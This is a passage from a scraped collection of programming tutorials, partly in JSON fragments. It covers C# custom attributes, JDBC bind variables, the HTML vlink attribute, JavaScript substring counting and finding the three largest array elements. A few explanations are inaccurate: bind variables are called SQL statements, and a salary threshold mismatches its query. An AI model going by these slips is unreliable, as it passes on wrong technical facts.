MyProperty\n{\n get {return this.value;}\n set {this.value = newValue;}\n}\n" }, { "code": null, "e": 49486, "s": 49121, "text": "Example 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student." }, { "code": "// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute(\"Modifier\", \"Assigns the Student Details\")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute(\"Accessor\", \"Returns Value of rollNo\")] public int getRollNo() { return rollNo; } [MyAttribute(\"Accessor\", \"Returns Value of stuName\")] public string getStuName() { return stuName; } [MyAttribute(\"Accessor\", \"Returns Value of marks\")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, \"Taylor\", 92.5); Console.WriteLine(\"Student Details\"); Console.WriteLine(\"Roll Number : \" + s.getRollNo()); Console.WriteLine(\"Name : \" + s.getStuName()); Console.WriteLine(\"Marks : \" + s.getMarks()); }}", "e": 51359, "s": 49486, "text": null }, { "code": null, "e": 51419, "s": 51359, "text": "Student Details\nRoll Number : 1\nName : Taylor\nMarks : 92.5\n" }, { "code": null, "e": 52138, "s": 51419, "text": "Example 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied." }, { "code": "// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine(\"Methods of class {0}\", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine(\"{0} - {1}, {2} \", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employer Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employer Name\")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employee Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employee Name\")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}", "e": 55214, "s": 52138, "text": null }, { "code": null, "e": 55459, "s": 55214, "text": "Methods of class Employer\ngetId - Accessor, Gives value of Employer Id \ngetName - Accessor, Gives value of Employer Name \n\nMethods of class Employee\ngetId - Accessor, Gives value of Employee Id \ngetName - Accessor, Gives value of Employee Name\n" }, { "code": null, "e": 55462, "s": 55459, "text": "C#" }, { "code": null, "e": 55560, "s": 55462, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 55569, "s": 55560, "text": "Comments" }, { "code": null, "e": 55582, "s": 55569, "text": "Old Comments" }, { "code": null, "e": 55610, "s": 55582, "text": "C# Dictionary with examples" }, { "code": null, "e": 55656, "s": 55610, "text": "Difference between Ref and Out keywords in C#" }, { "code": null, "e": 55687, "s": 55656, "text": "Introduction to .NET Framework" }, { "code": null, "e": 55727, "s": 55687, "text": "C# | String.IndexOf( ) Method | Set - 1" }, { "code": null, "e": 55750, "s": 55727, "text": "Extension Method in C#" }, { "code": null, "e": 55772, "s": 55750, "text": "C# | Abstract Classes" }, { "code": null, "e": 55787, "s": 55772, "text": "C# | Delegates" }, { "code": null, "e": 55803, "s": 55787, "text": "C# | Data Types" }, { "code": null, "e": 55831, "s": 55803, "text": "HashSet in C# with Examples" } ]
What are bind variables? How to execute a query with bind variables using JDBC?
A bind variable is an SQL statement with a temporary variable as place holders which are later replaced with appropriate values. For example, if you have a table named employee in the database created as shown below: +---------+--------+----------------+ | Name | Salary | Location | +---------+--------+----------------+ | Amit | 30000 | Hyderabad | | Kalyan | 40000 | Vishakhapatnam | | Renuka | 50000 | Delhi | | Archana | 15000 | Mumbai | +---------+--------+----------------+ if you need to retrieve records from the employee table with a salary greater than 20000 then you can write a query as: SELECT Name, Salary FROM Employee WHERE Salary > 30000; Here, instead of the value 30000, you can use a variable as a place holder and pass a value to it later. SELECT Name, Salary FROM Employee WHERE Salary > sal_val; PreparedStatement interface in JDBC API represents the precompiled statement and you can create a precompiled statement by passing the query with bind variables to the prepareStatement() method of the Connection interface. But instead of bind variables, you need to use question marks (?) as place holders. //Creating a Prepared Statement String query = "SELECT Name, Salary FROM Employee WHERE Salary > ?"; PreparedStatement pstmt = con.prepareStatement(query); Once you create a PreparedStatement you can set the values to its place holders using the setter methods provided by the PreparedStatement interface. According to the datatype of the bind variable, you need to select the respective setter method. Here, in this case, the data type of the bind variable is integer therefore, we need to use setInt() method. To this method, you need to pass an integer representing the placement index of the place holder and value you want to set to it. Since there is only place holder, the index of the place holder will be 1 and the value we need to set to it is 30000. pstmt.setInt(1, 30000); Finally, you can execute the prepared statement using one of the execute methods (execute(), executeUpdate(), executeQuery()). Since this query returns result set we need to use the executeQuery() method. ResultSet rs = pstmt.executeQuery(); Following JDBC program demonstrates the execution of Query with bind variables. import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class BindVariableExample { public static void main(String args[]) throws SQLException { //Registering the Driver DriverManager.registerDriver(new com.mysql.jdbc.Driver()); //Getting the connection String mysqlUrl = "jdbc:mysql://localhost/testdb"; Connection con = DriverManager.getConnection(mysqlUrl, "root", "password"); System.out.println("Connection established......"); //Creating a Prepared Statement String query = "SELECT Name, Salary FROM Employee WHERE Salary > ?"; PreparedStatement pstmt = con.prepareStatement(query); pstmt.setInt(1, 30000); ResultSet rs = pstmt.executeQuery(); while(rs.next()) { System.out.print("Name: "+rs.getString("Name")+", "); System.out.print("Salary: "+rs.getInt("Salary")); System.out.println(); } } } Connection established...... Name: Kalyan, Salary: 40000 Name: Renuka, Salary: 50000
[ { "code": null, "e": 1279, "s": 1062, "text": "A bind variable is an SQL statement with a temporary variable as place holders which are later replaced with appropriate values. For example, if you have a table named employee in the database created as shown below:" }, { "code": null, "e": 1583, "s": 1279, "text": "+---------+--------+----------------+\n| Name | Salary | Location |\n+---------+--------+----------------+\n| Amit | 30000 | Hyderabad |\n| Kalyan | 40000 | Vishakhapatnam |\n| Renuka | 50000 | Delhi |\n| Archana | 15000 | Mumbai |\n+---------+--------+----------------+" }, { "code": null, "e": 1703, "s": 1583, "text": "if you need to retrieve records from the employee table with a salary greater than 20000 then you can write a query as:" }, { "code": null, "e": 1759, "s": 1703, "text": "SELECT Name, Salary FROM Employee WHERE Salary > 30000;" }, { "code": null, "e": 1864, "s": 1759, "text": "Here, instead of the value 30000, you can use a variable as a place holder and pass a value to it later." }, { "code": null, "e": 1922, "s": 1864, "text": "SELECT Name, Salary FROM Employee WHERE Salary > sal_val;" }, { "code": null, "e": 2229, "s": 1922, "text": "PreparedStatement interface in JDBC API represents the precompiled statement and you can create a precompiled statement by passing the query with bind variables to the prepareStatement() method of the Connection interface. But instead of bind variables, you need to use question marks (?) as place holders." }, { "code": null, "e": 2385, "s": 2229, "text": "//Creating a Prepared Statement\nString query = \"SELECT Name, Salary FROM Employee WHERE Salary > ?\";\nPreparedStatement pstmt = con.prepareStatement(query);" }, { "code": null, "e": 2741, "s": 2385, "text": "Once you create a PreparedStatement you can set the values to its place holders using the setter methods provided by the PreparedStatement interface. According to the datatype of the bind variable, you need to select the respective setter method. Here, in this case, the data type of the bind variable is integer therefore, we need to use setInt() method." }, { "code": null, "e": 2990, "s": 2741, "text": "To this method, you need to pass an integer representing the placement index of the place holder and value you want to set to it. Since there is only place holder, the index of the place holder will be 1 and the value we need to set to it is 30000." }, { "code": null, "e": 3014, "s": 2990, "text": "pstmt.setInt(1, 30000);" }, { "code": null, "e": 3219, "s": 3014, "text": "Finally, you can execute the prepared statement using one of the execute methods (execute(), executeUpdate(), executeQuery()). Since this query returns result set we need to use the executeQuery() method." }, { "code": null, "e": 3256, "s": 3219, "text": "ResultSet rs = pstmt.executeQuery();" }, { "code": null, "e": 3336, "s": 3256, "text": "Following JDBC program demonstrates the execution of Query with bind variables." }, { "code": null, "e": 4350, "s": 3336, "text": "import java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\npublic class BindVariableExample {\n public static void main(String args[]) throws SQLException {\n //Registering the Driver\n DriverManager.registerDriver(new com.mysql.jdbc.Driver());\n //Getting the connection\n String mysqlUrl = \"jdbc:mysql://localhost/testdb\";\n Connection con = DriverManager.getConnection(mysqlUrl, \"root\", \"password\");\n System.out.println(\"Connection established......\");\n //Creating a Prepared Statement\n String query = \"SELECT Name, Salary FROM Employee WHERE Salary > ?\";\n PreparedStatement pstmt = con.prepareStatement(query);\n pstmt.setInt(1, 30000);\n ResultSet rs = pstmt.executeQuery();\n while(rs.next()) {\n System.out.print(\"Name: \"+rs.getString(\"Name\")+\", \");\n System.out.print(\"Salary: \"+rs.getInt(\"Salary\"));\n System.out.println();\n }\n }\n}" }, { "code": null, "e": 4435, "s": 4350, "text": "Connection established......\nName: Kalyan, Salary: 40000\nName: Renuka, Salary: 50000" } ]
HTML | <body> vlink Attribute - GeeksforGeeks
23 Mar, 2022 The HTML <body> vlink Attribute is used to specify a color of a visited link in a Document. Note : The HTML <body> vlink attribute is not supported by HTML5. Instead of using this attribute we can use CSS :visited pseudo-class selector. Syntax: <body vlink="color_name | hex_number | rgb_number"> Attribute Values: color_name: It specifies the name of the color of the visited link. hex_number: It specifies the color of the visited link in terms of hex code. rgb_number: It specifies the color of the visited link in terms of rgb value Example: html <!DOCTYPE html><html> <head> <title> HTML body vlink Attribute </title></head> <!-- body tag starts here --><body vlink="red"> <center> <h1>GeeksforGeeks</h1> <h2>HTML <body> vlink Attribute</h2> <p>Click on a Below link</p> <a href="#"> It is a Computer Science portal For Geeks </a> <br> <p><a href="#">GeeksForGeeks</a></p> </center></body><!-- body tag ends here --> </html> Output: Supported Browsers: The browser supported by <body> vlink Attributeare listed below: Google Chrome Internet Explorer Firefox Safari Opera Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. ManasChhabra2 chhabradhanvi HTML-Attributes CSS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Making a div vertically scrollable using CSS How to Upload Image into Database and Display it using PHP ? Build a Survey Form using HTML and CSS CSS | Text Formatting How to align content of a div to the bottom using CSS ? Express.js express.Router() Function Installation of Node.js on Linux Convert a string to an integer in JavaScript How to set the default value for an HTML <select> element ? Top 10 Angular Libraries For Web Developers
[ { "code": null, "e": 24263, "s": 24235, "text": "\n23 Mar, 2022" }, { "code": null, "e": 24355, "s": 24263, "text": "The HTML <body> vlink Attribute is used to specify a color of a visited link in a Document." }, { "code": null, "e": 24500, "s": 24355, "text": "Note : The HTML <body> vlink attribute is not supported by HTML5. Instead of using this attribute we can use CSS :visited pseudo-class selector." }, { "code": null, "e": 24508, "s": 24500, "text": "Syntax:" }, { "code": null, "e": 24560, "s": 24508, "text": "<body vlink=\"color_name | hex_number | rgb_number\">" }, { "code": null, "e": 24578, "s": 24560, "text": "Attribute Values:" }, { "code": null, "e": 24646, "s": 24578, "text": "color_name: It specifies the name of the color of the visited link." }, { "code": null, "e": 24723, "s": 24646, "text": "hex_number: It specifies the color of the visited link in terms of hex code." }, { "code": null, "e": 24800, "s": 24723, "text": "rgb_number: It specifies the color of the visited link in terms of rgb value" }, { "code": null, "e": 24809, "s": 24800, "text": "Example:" }, { "code": null, "e": 24814, "s": 24809, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title> HTML body vlink Attribute </title></head> <!-- body tag starts here --><body vlink=\"red\"> <center> <h1>GeeksforGeeks</h1> <h2>HTML <body> vlink Attribute</h2> <p>Click on a Below link</p> <a href=\"#\"> It is a Computer Science portal For Geeks </a> <br> <p><a href=\"#\">GeeksForGeeks</a></p> </center></body><!-- body tag ends here --> </html>", "e": 25305, "s": 24814, "text": null }, { "code": null, "e": 25313, "s": 25305, "text": "Output:" }, { "code": null, "e": 25398, "s": 25313, "text": "Supported Browsers: The browser supported by <body> vlink Attributeare listed below:" }, { "code": null, "e": 25412, "s": 25398, "text": "Google Chrome" }, { "code": null, "e": 25430, "s": 25412, "text": "Internet Explorer" }, { "code": null, "e": 25438, "s": 25430, "text": "Firefox" }, { "code": null, "e": 25445, "s": 25438, "text": "Safari" }, { "code": null, "e": 25451, "s": 25445, "text": "Opera" }, { "code": null, "e": 25588, "s": 25451, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 25602, "s": 25588, "text": "ManasChhabra2" }, { "code": null, "e": 25616, "s": 25602, "text": "chhabradhanvi" }, { "code": null, "e": 25632, "s": 25616, "text": "HTML-Attributes" }, { "code": null, "e": 25636, "s": 25632, "text": "CSS" }, { "code": null, "e": 25653, "s": 25636, "text": "Web Technologies" }, { "code": null, "e": 25751, "s": 25653, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25760, "s": 25751, "text": "Comments" }, { "code": null, "e": 25773, "s": 25760, "text": "Old Comments" }, { "code": null, "e": 25818, "s": 25773, "text": "Making a div vertically scrollable using CSS" }, { "code": null, "e": 25879, "s": 25818, "text": "How to Upload Image into Database and Display it using PHP ?" }, { "code": null, "e": 25918, "s": 25879, "text": "Build a Survey Form using HTML and CSS" }, { "code": null, "e": 25940, "s": 25918, "text": "CSS | Text Formatting" }, { "code": null, "e": 25996, "s": 25940, "text": "How to align content of a div to the bottom using CSS ?" }, { "code": null, "e": 26033, "s": 25996, "text": "Express.js express.Router() Function" }, { "code": null, "e": 26066, "s": 26033, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 26111, "s": 26066, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 26171, "s": 26111, "text": "How to set the default value for an HTML <select> element ?" } ]
Number of times a string appears in another JavaScript
We are required to write a JavaScript function that takes in two strings and returns the count of the number of times the str1 appears in the str2. The code for this will be − const main = 'This is the is main is string'; const sub = 'is'; const countAppearances = (main, sub) => { const regex = new RegExp(sub, "g"); let count = 0; main.replace(regex, (a, b) => { count++; }); return count; }; console.log(countAppearances(main, sub)); The output in the console − 4
[ { "code": null, "e": 1210, "s": 1062, "text": "We are required to write a JavaScript function that takes in two strings and returns the count of the number of times the str1 appears in the str2." }, { "code": null, "e": 1238, "s": 1210, "text": "The code for this will be −" }, { "code": null, "e": 1520, "s": 1238, "text": "const main = 'This is the is main is string';\nconst sub = 'is';\nconst countAppearances = (main, sub) => {\n const regex = new RegExp(sub, \"g\");\n let count = 0;\n main.replace(regex, (a, b) => {\n count++;\n });\n return count;\n};\nconsole.log(countAppearances(main, sub));" }, { "code": null, "e": 1548, "s": 1520, "text": "The output in the console −" }, { "code": null, "e": 1550, "s": 1548, "text": "4" } ]
Find the largest three distinct elements in an array - GeeksforGeeks
06 Sep, 2021 Given an array with all distinct elements, find the largest three elements. Expected time complexity is O(n) and extra space is O(1). Examples : Input: arr[] = {10, 4, 3, 50, 23, 90} Output: 90, 50, 23 Method 1 – Below is algorithm: 1) Initialize the largest three elements as minus infinite. first = second = third = -∞ 2) Iterate through all elements of array. a) Let current array element be x. b) If (x > first) { // This order of assignment is important third = second second = first first = x } c) Else if (x > second) { third = second second = x } d) Else if (x > third) { third = x } 3) Print first, second and third. Below is the implementation of the above algorithm. C++ C Java Python3 C# PHP Javascript // C++ program for find the largest// three elements in an array#include <bits/stdc++.h>using namespace std; // Function to print three largest elementsvoid print3largest(int arr[], int arr_size){ int first, second, third; // There should be atleast three elements if (arr_size < 3) { cout << " Invalid Input "; return; } third = first = second = INT_MIN; for(int i = 0; i < arr_size; i++) { // If current element is // greater than first if (arr[i] > first) { third = second; second = first; first = arr[i]; } // If arr[i] is in between first // and second then update second else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } cout << "Three largest elements are " << first << " " << second << " " << third << endl;} // Driver codeint main(){ int arr[] = { 12, 13, 1, 10, 34, 1 }; int n = sizeof(arr) / sizeof(arr[0]); print3largest(arr, n); return 0;} // This code is contributed by Anjali_Chauhan // C program for find the largest// three elements in an array#include <limits.h> /* For INT_MIN */#include <stdio.h> /* Function to print three largest elements */void print3largest(int arr[], int arr_size){ int i, first, second, third; /* There should be atleast three elements */ if (arr_size < 3) { printf(" Invalid Input "); return; } third = first = second = INT_MIN; for (i = 0; i < arr_size; i++) { /* If current element is greater than first*/ if (arr[i] > first) { third = second; second = first; first = arr[i]; } /* If arr[i] is in between first and second then update second */ else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } printf("Three largest elements are %d %d %d\n", first, second, third);} /* Driver program to test above function */int main(){ int arr[] = { 12, 13, 1, 10, 34, 1 }; int n = sizeof(arr) / sizeof(arr[0]); print3largest(arr, n); return 0;}/*This code is edited by Ayush Singla(@ayusin51)*/ // Java code to find largest three elements// in an array class PrintLargest { /* Function to print three largest elements */ static void print3largest(int arr[], int arr_size) { int i, first, second, third; /* There should be atleast three elements */ if (arr_size < 3) { System.out.print(" Invalid Input "); return; } third = first = second = Integer.MIN_VALUE; for (i = 0; i < arr_size; i++) { /* If current element is greater than first*/ if (arr[i] > first) { third = second; second = first; first = arr[i]; } /* If arr[i] is in between first and second then update second */ else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } System.out.println("Three largest elements are " + first + " " + second + " " + third); } /* Driver program to test above function*/ public static void main(String[] args) { int arr[] = { 12, 13, 1, 10, 34, 1 }; int n = arr.length; print3largest(arr, n); }}/*This code is contributed by Prakriti Guptaand edited by Ayush Singla(@ayusin51)*/ # Python3 code to find largest three# elements in an arrayimport sys # Function to print three largest# elementsdef print3largest(arr, arr_size): # There should be atleast three # elements if (arr_size < 3): print(" Invalid Input ") return third = first = second = -sys.maxsize for i in range(0, arr_size): # If current element is greater # than first if (arr[i] > first): third = second second = first first = arr[i] # If arr[i] is in between first # and second then update second elif (arr[i] > second): third = second second = arr[i] elif (arr[i] > third): third = arr[i] print("Three largest elements are", first, second, third) # Driver program to test above functionarr = [12, 13, 1, 10, 34, 1]n = len(arr)print3largest(arr, n) # This code is contributed by Smitha Dinesh Semwal# and edited by Ayush Singla(@ayusin51). // C# code to find largest// three elements in an arrayusing System; class PrintLargest { // Function to print three // largest elements static void print3largest(int[] arr, int arr_size) { int i, first, second, third; // There should be atleast three elements if (arr_size < 3) { Console.WriteLine("Invalid Input"); return; } third = first = second = 000; for (i = 0; i < arr_size; i++) { // If current element is // greater than first if (arr[i] > first) { third = second; second = first; first = arr[i]; } // If arr[i] is in between first // and second then update second else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } Console.WriteLine("Three largest elements are " + first + " " + second + " " + third); } // Driver code public static void Main() { int[] arr = new int[] { 12, 13, 1, 10, 34, 1 }; int n = arr.Length; print3largest(arr, n); }} // This code is contributed by KRV and edited by Ayush Singla(@ayusin51). <?php// PHP code to find largest// three elements in an array // Function to print// three largest elementsfunction print3largest($arr, $arr_size){ $i; $first; $second; $third; // There should be atleast // three elements if ($arr_size < 3) { echo " Invalid Input "; return; } $third = $first = $second = PHP_INT_MIN; for ($i = 0; $i < $arr_size ; $i ++) { // If current element is // greater than first if ($arr[$i] > $first) { $third = $second; $second = $first; $first = $arr[$i]; } // If arr[i] is in between first // and second then update second else if ($arr[$i] > $second) { $third = $second; $second = $arr[$i]; } else if ($arr[$i] > $third) $third = $arr[$i]; } echo "Three largest elements are ", $first, " ", $second, " ", $third;} // Driver Code$arr = array(12, 13, 1, 10, 34, 1);$n = count($arr);print3largest($arr, $n); // This code is contributed by anuj_67 and edited by Ayush Singla(@ayusin51).?> <script> // Javascript program for find the largest// three elements in an array // Function to print three largest elementsfunction print3largest(arr, arr_size){ let first, second, third; // There should be atleast three elements if (arr_size < 3) { document.write(" Invalid Input "); return; } third = first = second = Number.MIN_VALUE; for(let i = 0; i < arr_size; i++) { // If current element is // greater than first if (arr[i] > first) { third = second; second = first; first = arr[i]; } // If arr[i] is in between first // and second then update second else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } document.write("Three largest elements are " + first + " " + second + " " + third + "<br>");} // Driver code let arr = [ 12, 13, 1, 10, 34, 1 ]; let n = arr.length; print3largest(arr, n); // This is code is contributed by Mayank Tyagi </script> Output : Three largest elements are 34 13 12 Method 2 An efficient way to solve this problem is to use any O(nLogn) sorting algorithm & simply returning the last 3 largest elements. C++ Java Python3 C# Javascript // C++ code to find largest// three elements in an array#include <bits/stdc++.h>using namespace std; void find3largest(int arr[], int n){ sort(arr, arr + n); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) int check = 0, count = 1; for (int i = 1; i <= n; i++) { if (count < 4) { if (check != arr[n - i]) { // to handle duplicate values cout << arr[n - i] << " "; check = arr[n - i]; count++; } } else break; }} // Driver codeint main(){ int arr[] = { 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 }; int n = sizeof(arr) / sizeof(arr[0]); find3largest(arr, n);} // This code is contributed by Rajput-Ji // Java code to find largest// three elements in an array import java.io.*;import java.util.Arrays; class GFG { void find3largest(int[] arr) { Arrays.sort(arr); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) int n = arr.length; int check = 0, count = 1; for (int i = 1; i <= n; i++) { if (count < 4) { if (check != arr[n - i]) { // to handle duplicate values System.out.print(arr[n - i] + " "); check = arr[n - i]; count++; } } else break; } } // Driver code public static void main(String[] args) { GFG obj = new GFG(); int[] arr = { 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 }; obj.find3largest(arr); }}// This code is contributed by Prashant Malik # Python3 code to find largest# three elements in an arraydef find3largest(arr, n): arr = sorted(arr) # It uses Tuned Quicksort with # avg. case Time complexity = O(nLogn) check = 0 count = 1 for i in range(1, n + 1): if(count < 4): if(check != arr[n - i]): # to handle duplicate values print(arr[n - i], end = " ") check = arr[n - i] count += 1 else: break # Driver codearr = [12, 45, 1, -1, 45, 54, 23, 5, 0, -10]n = len(arr)find3largest(arr, n) # This code is contributed by mohit kumar // C# code to find largest// three elements in an arrayusing System; class GFG { void find3largest(int[] arr) { Array.Sort(arr); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) int n = arr.Length; int check = 0, count = 1; for (int i = 1; i <= n; i++) { if (count < 4) { if (check != arr[n - i]) { // to handle duplicate values Console.Write(arr[n - i] + " "); check = arr[n - i]; count++; } } else break; } } // Driver code public static void Main() { GFG obj = new GFG(); int[] arr = { 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 }; obj.find3largest(arr); }} // This code is contributed by Code_Mech <script> // JavaScript code to find largest// three elements in an array function find3largest(arr) { arr.sort((a,b)=>a-b); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) let check = 0, count = 1; for (let i = 1; i <= arr.length; i++) { if (count < 4) { if (check != arr[arr.length - i]) { // to handle duplicate values document.write(arr[arr.length - i] + " "); check = arr[arr.length - i]; count++; } } else break; } } // Driver code let arr = [ 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 ]; find3largest(arr); // This code is contributed by Surbhi Tyagi </script> Output : 54 45 23 Method 3 – We can use Partial Sort of C++ STL. partial_sort uses Heapselect, which provides better performance than Quickselect for small M. As a side effect, the end state of Heapselect leaves you with a heap, which means that you get the first half of the Heapsort algorithm “for free”. The complexity is “approximately” O(N log(M)), where M is distance(middle-first). C++ #include <bits/stdc++.h>using namespace std;int main(){ vector<int> V = { 11, 65, 193, 36, 209, 664, 32 }; partial_sort(V.begin(), V.begin() + 3, V.end(), greater<int>()); cout << "first = " << V[0] << "\n"; cout << "second = " << V[1] << "\n"; cout << "third = " << V[2] << "\n"; return 0;} Output : first = 664 second = 209 third = 193 Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. KRV vt_m JohnnyJAT Rajput-Ji ayusin51 mohit kumar 29 Code_Mech chirags_30 anjali_1102 crawler surbhityagi15 mayanktyagi1709 surinderdawra388 Order-Statistics Arrays Searching Arrays Searching Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Top 50 Array Coding Problems for Interviews Multidimensional Arrays in Java Introduction to Arrays Linear Search Maximum and minimum of an array using minimum number of comparisons Binary Search Linear Search Maximum and minimum of an array using minimum number of comparisons Find the Missing Number Given an array of size n and a number k, find all elements that appear more than n/k times
[ { "code": null, "e": 24864, "s": 24836, "text": "\n06 Sep, 2021" }, { "code": null, "e": 25009, "s": 24864, "text": "Given an array with all distinct elements, find the largest three elements. Expected time complexity is O(n) and extra space is O(1). Examples :" }, { "code": null, "e": 25066, "s": 25009, "text": "Input: arr[] = {10, 4, 3, 50, 23, 90}\nOutput: 90, 50, 23" }, { "code": null, "e": 25097, "s": 25066, "text": "Method 1 – Below is algorithm:" }, { "code": null, "e": 25623, "s": 25097, "text": "1) Initialize the largest three elements as minus infinite.\n first = second = third = -∞\n\n2) Iterate through all elements of array.\n a) Let current array element be x.\n b) If (x > first)\n {\n // This order of assignment is important\n third = second\n second = first\n first = x \n }\n c) Else if (x > second)\n {\n third = second\n second = x \n }\n d) Else if (x > third)\n {\n third = x \n }\n\n3) Print first, second and third." }, { "code": null, "e": 25675, "s": 25623, "text": "Below is the implementation of the above algorithm." }, { "code": null, "e": 25679, "s": 25675, "text": "C++" }, { "code": null, "e": 25681, "s": 25679, "text": "C" }, { "code": null, "e": 25686, "s": 25681, "text": "Java" }, { "code": null, "e": 25694, "s": 25686, "text": "Python3" }, { "code": null, "e": 25697, "s": 25694, "text": "C#" }, { "code": null, "e": 25701, "s": 25697, "text": "PHP" }, { "code": null, "e": 25712, "s": 25701, "text": "Javascript" }, { "code": "// C++ program for find the largest// three elements in an array#include <bits/stdc++.h>using namespace std; // Function to print three largest elementsvoid print3largest(int arr[], int arr_size){ int first, second, third; // There should be atleast three elements if (arr_size < 3) { cout << \" Invalid Input \"; return; } third = first = second = INT_MIN; for(int i = 0; i < arr_size; i++) { // If current element is // greater than first if (arr[i] > first) { third = second; second = first; first = arr[i]; } // If arr[i] is in between first // and second then update second else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } cout << \"Three largest elements are \" << first << \" \" << second << \" \" << third << endl;} // Driver codeint main(){ int arr[] = { 12, 13, 1, 10, 34, 1 }; int n = sizeof(arr) / sizeof(arr[0]); print3largest(arr, n); return 0;} // This code is contributed by Anjali_Chauhan", "e": 26899, "s": 25712, "text": null }, { "code": "// C program for find the largest// three elements in an array#include <limits.h> /* For INT_MIN */#include <stdio.h> /* Function to print three largest elements */void print3largest(int arr[], int arr_size){ int i, first, second, third; /* There should be atleast three elements */ if (arr_size < 3) { printf(\" Invalid Input \"); return; } third = first = second = INT_MIN; for (i = 0; i < arr_size; i++) { /* If current element is greater than first*/ if (arr[i] > first) { third = second; second = first; first = arr[i]; } /* If arr[i] is in between first and second then update second */ else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } printf(\"Three largest elements are %d %d %d\\n\", first, second, third);} /* Driver program to test above function */int main(){ int arr[] = { 12, 13, 1, 10, 34, 1 }; int n = sizeof(arr) / sizeof(arr[0]); print3largest(arr, n); return 0;}/*This code is edited by Ayush Singla(@ayusin51)*/", "e": 28054, "s": 26899, "text": null }, { "code": "// Java code to find largest three elements// in an array class PrintLargest { /* Function to print three largest elements */ static void print3largest(int arr[], int arr_size) { int i, first, second, third; /* There should be atleast three elements */ if (arr_size < 3) { System.out.print(\" Invalid Input \"); return; } third = first = second = Integer.MIN_VALUE; for (i = 0; i < arr_size; i++) { /* If current element is greater than first*/ if (arr[i] > first) { third = second; second = first; first = arr[i]; } /* If arr[i] is in between first and second then update second */ else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } System.out.println(\"Three largest elements are \" + first + \" \" + second + \" \" + third); } /* Driver program to test above function*/ public static void 